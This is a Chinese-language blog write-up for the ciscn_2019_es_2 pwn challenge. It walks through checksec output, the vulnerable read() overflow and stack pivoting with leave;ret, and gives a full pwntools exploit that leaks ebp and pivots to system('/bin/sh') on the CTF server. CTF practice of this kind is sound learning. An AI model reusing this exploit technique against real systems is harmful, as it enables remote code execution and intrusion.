【ciscn_2019_es_2】WriteUp

Eutopia's Blog

Posted by Eutopia on February 28, 2024

【ciscn_2019_es_2】WriteUp

checksec一下,发现只有NX防护。

[*] '/home/bronya/Documents/CTF/pwn11/ciscn_2019_es_2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

使用ida打开,发现s存在溢出漏洞,但是只能溢出8字节,无法调用write等函数进行RetLibc。因此考虑栈迁移。

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

栈迁移指在rbp指向的地址写入要篡改的地址,rbp+4写入leave_ret地址,这样在函数正常结束即将返回时,rsp指向rbp,rbp指向rbp指向的内容地址,rsp+4到leave_ret,使eip指向了leave_ret,因此导致程序又执行了leave_ret,再次将rsp移动到rbp,rsp+4,使eip指向了篡改地址+4的地址。

栈迁移-1

栈迁移-2

因此只需要向程序变量s写入要执行的指令,再栈迁移使eip指向s即可。

构造exp如下:

from pwn import *

context(arch='i386', os='linux', log_level="debug")

# p = process('./ciscn_2019_es_2')
# gdb.attach(p, 'b *0x080485BE')

p = remote('node4.buuoj.cn', 27006)

leave_ret = 0x08048562
system_addr = 0x08048400

# 第一次溢出泄漏ebp地址,用于栈迁移
payload = flat(b'a'*0x20+b'b'*8)
p.sendafter(b'Welcome, my friend. What\'s your name?\n',payload)
p.recvuntil(b'bbbbbbbb')
ebp_addr = u32(p.recv(4))
info(hex(ebp_addr))

# 第二次溢出,进行栈迁移,通过修改ebp来达到修改eip的目的 
payload2 = flat(b'aaaa', system_addr, 0, ebp_addr-0x28, b'/bin/sh').ljust(0x28, b'\x00')
payload2 += flat(ebp_addr-0x38, leave_ret)
p.sendlineafter(b'\n', payload2)


p.interactive()